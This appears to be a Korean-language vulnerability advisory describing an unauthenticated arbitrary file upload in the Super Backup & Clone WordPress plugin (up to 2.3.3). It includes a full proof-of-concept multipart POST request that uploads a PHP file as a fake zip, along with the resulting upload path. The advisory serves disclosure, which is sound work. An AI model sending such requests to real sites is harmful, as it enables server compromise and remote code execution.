
Super Backup & Clone - Migrate for WordPress <= 2.3.3 - 인증되지 않은 임의 파일 업로드
Super Backup & Clone - Migrate for WordPress <= 2.3.3 - 인증되지 않은 임의 파일 업로드
WordPress용 Super Backup & Clone - Migrate for WordPress 플러그인은 2.3.3을 포함한 모든 버전에서 ibk_restore_migrate_check() 함수에 파일 유형 검증 및 기능 확인이 누락되어 임의 파일 업로드에 취약합니다. 이로 인해 인증되지 않은 공격자가 영향을 받는 사이트의 서버에 임의의 파일을 업로드할 수 있으며, 원격 코드 실행이 가능할 수 있습니다.
POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://wp-dev.ddev.site/wp-admin/admin.php?page=ibk_admin&tab=restore
Content-Type: multipart/form-data; boundary=---------------------------12986918151631900204175958232
Content-Length: 793
Origin: https://wp-dev.ddev.site
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
-----------------------------12986918151631900204175958232
Content-Disposition: form-data; name="ibk_restore_migrate_action"
1
-----------------------------12986918151631900204175958232
Content-Disposition: form-data; name="restore_type"
restore_file
-----------------------------12986918151631900204175958232
Content-Disposition: form-data; name="restore_url"
-----------------------------12986918151631900204175958232
Content-Disposition: form-data; name="upload_file"; filename="info.php"
Content-Type: application/zip
<?php phpinfo(); ?>
-----------------------------12986918151631900204175958232--
https://wp-dev.ddev.site/wp-content/uploads/isnapshots/info.php로 업로드됨